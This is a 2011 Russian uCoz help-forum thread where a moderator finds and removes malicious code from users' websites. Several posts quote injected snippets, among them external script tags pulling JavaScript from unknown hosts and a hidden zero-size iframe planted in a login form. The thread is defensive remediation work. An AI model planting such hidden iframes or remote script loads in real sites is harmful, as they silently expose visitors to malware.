Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1441 | 11:56:04
Kyr0k, блок смотри тв. выделенное красным удалить
Quote
<tr><td style="background:#131313;padding:5px;"><!-- <bc> --><script language="JavaScript" src="http://vseprikoly.net/tv/tv.js"></script><!-- </bc> --></td></tr>
<tr><td><img src="/.s/t/984/6.gif" border="0"></td></tr>


и ещё самое главное. из кода форума убрать вот это
Quote
<SCRIPT LANGUAGE="JavaScript">
var div = document.getElementsByTagName('div')[0].style.display='NONE';
var div = document.getElementsByTagName('div')[1].style.display='NONE';
div.innerHTML = '';
</script>
попытки сокрытия рекламы юкоз

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1442 | 12:00:39
Free-Fire, форма входа. выделенное красным удалить
Quote
<input id="hidsitePage1" name="hidden" value="1" type="checkbox"><label for="hidsitePage1">скрытый</label></td><td align="right" valign="top"><input class="loginButton" name="sbm" value="Пройти" type="submit"></td></tr>
<tr><td colspan="2"><div style="font-size: 7pt; text-align: center;">
<div align="center"><iframe src="http://rub.pp.ua" width="0" height="0" style="display:none"></iframe><a href="javascript://" rel="nofollow" onclick="new _uWnd('Prm','Напоминание пароля',300,130,{autosize:1,closeonesc:1},{url:'/index/5'});return false;">Я забыл пароль</a><a href="/index/3-1">Регистрация</a></div>

</div></td></tr>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1443 | 12:03:36
tan55572, можно

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Alexsandra
Сообщений: 1
Репутация: 0

Сообщение # 1444 | 17:10:05
Здравствуйте, уважаемые технические редакторы! Очень надеюсь на Вашу помощь по спасению моего сайта. Я не владею специальными знаниями и умениями построения сайта, в течение нескольких лет самостоятельно осваивала и строила свой сайт. Но, увлеклась различными скриптами, и теперь у меня сайт заражен, каюсь и признаю свою ошибку! Но ,что делать, и как выходить из положения? Жалко время и труд...

Проблема : мой сайт в Яндексе показан как вредоносный "Опасный сайт. Посещение этой страницы может представлять опасность. Страница была замечена в распространении вредоносного программного обеспечения. Opera Software настоятельно не рекомендует посещать эту страницу."

Сначала это была одна-две странички, а теперь почти все. Помогите! Ссылка на сайт: http://geograf123.ucoz.ru/
Если можно, объясните подробненько, для особо "одарённых" как вылечить сайт, если это возможно.

С уважением.
Серега_SakhaLin
Сообщений: 103
Репутация: 48

Сообщение # 1445 | 17:23:31
Здравствуйте...

Сайт http://tymovsk-library.ucoz.ru/
Яндекс пишет предупреждение о зараженности только на главной странице

Помогите пожалуйста:(

Касперский 2012 Internet Security нашел вирус Trojan.Script.Iframer

Сообщение отредактировал aeaeae - Вторник, 29 Ноя 2011, 17:28:49
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1446 | 18:11:16
Alexsandra, и гугл и яндекс блочит сайт из-за вот этого хоста
<!-- <block9> -->
<center><script type="text/javascript" src="http://vsebudetok.net/flash_photo/swfobject.js"></script><div id="oblapics"><a href="/photo/7-0-24">http://geograf123.ucoz.ru/_ph/7/1/549618557.jpg</a><a href="/photo/2-0-46">http://geograf123.ucoz.ru/_ph/2/1/7836994.jpg</a><a href="/photo/leto_2011/5-0-119">http://geograf1и так далее...

<!-- </block9> --> удалите с сайта все скрипты и все ссылки подгружаемые с этого адреса
вот это уберите
Code
<script type="text/javascript" src="http://informer.hmn.ru/types/info.js?value=35036&type=7_4"></script>

сайт получился знатной помойкой. на будущее. никогда не погружайте графику и скрипты с чужих сайтов. если чужой сайт с которого на вашем подгружается ваш мусор будет заблочен поисковиками по фильтру безопасности, то будет заблочен и ваш. тоже самое и с антивирусами, особенно с есетовким семейством

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1447 | 18:15:51
aeaeae, удалите с самого низа кода страницы вот это
Quote
<script>$('iframe').remove();</script>
а дальше пишите в тех. поддержку яндекса пусть дают пример вредоносного кода или кода который подозревают в негативной активности

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sergey404
Сообщений: 19
Репутация: 8

Сообщение # 1448 | 08:59:36
Здравствуйте! помогите пожалуйста... мой сайт topeople.ucoz.ru вчера заблокировал яндекс.
На страницах сайта ToPeople.ucoz.ru
обнаружен код, который может быть
опасен для посетителей. Выполнение
этого кода может привести к заражению
компьютера опасными программами,
использованию его без ведома
пользователя, порче или краже данных.
В настоящий момент сайт выводится в
результатах поиска с пометкой «Этот сайт
может угрожать безопасности вашего
компьютера».

Вот страницы где якобы был обнаружен код:
http://topeople.ucoz.ru/
publ/1-1-0-21 поведенческий анализ

http://topeople.ucoz.ru/
publ/1-1-0-31 поведенческий анализ

Kelin
Сообщений: 44
Репутация: 58

Сообщение # 1449 | 16:07:43
Здравствуйте! Проверьте, пожалуйста, мой сайт!
На главной странице найден вирус, но я не могу найти его cry

Добавлено (30-Ноя-2011, 16:07:43)
---------------------------------------------
А, всё, уже не надо. Нашёл

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1450 | 16:20:06
Kelin, и из информера скрипт от /r1p.pp.ua/1.js не забудьте удалить
sergey404, сайт заспамлен. очистите спам в комментах и в гостевой. и пишите в тех. поддержку яндекса чтобы привели пример вредоносного кода.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
norchik
Сообщений: 1
Репутация: 0

Сообщение # 1451 | 14:51:48
в данной теме обслуживаются только сайты расположенные в системе uCoz
Admin5779
Сообщений: 1
Репутация: 0

Сообщение # 1452 | 20:31:56
Помогите пожалуйста на сайте game-portalll.3dn.ru вирус мини чате вот код вируса iframe
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1453 | 20:35:13
Admin5779, а с чего вы взяли что в мини чате вирус?

рекламу вы ставили? uno.wb-rotator.info/?t=br&noadult=1&pid=31734 и www.binmedia.ru/js/code.php?id=956

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Cooper1041
Сообщений: 11
Репутация: 10

Сообщение # 1454 | 10:35:30

1) на всех
2) под гостем тоже
MeLLkiY
Сообщений: 4
Репутация: 1

Сообщение # 1455 | 18:32:58
Здравствуйте.
Пользователи жалуются что при входе на сайт антивирус (возможно АВАСТ) не впускает по причине наличия на сайте вируса. В яндекс-вебмастер в разделе безопасность сказано что вредоносный код на сайте не обнаружен.

сайт: http://www.кино-русь.рф
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск: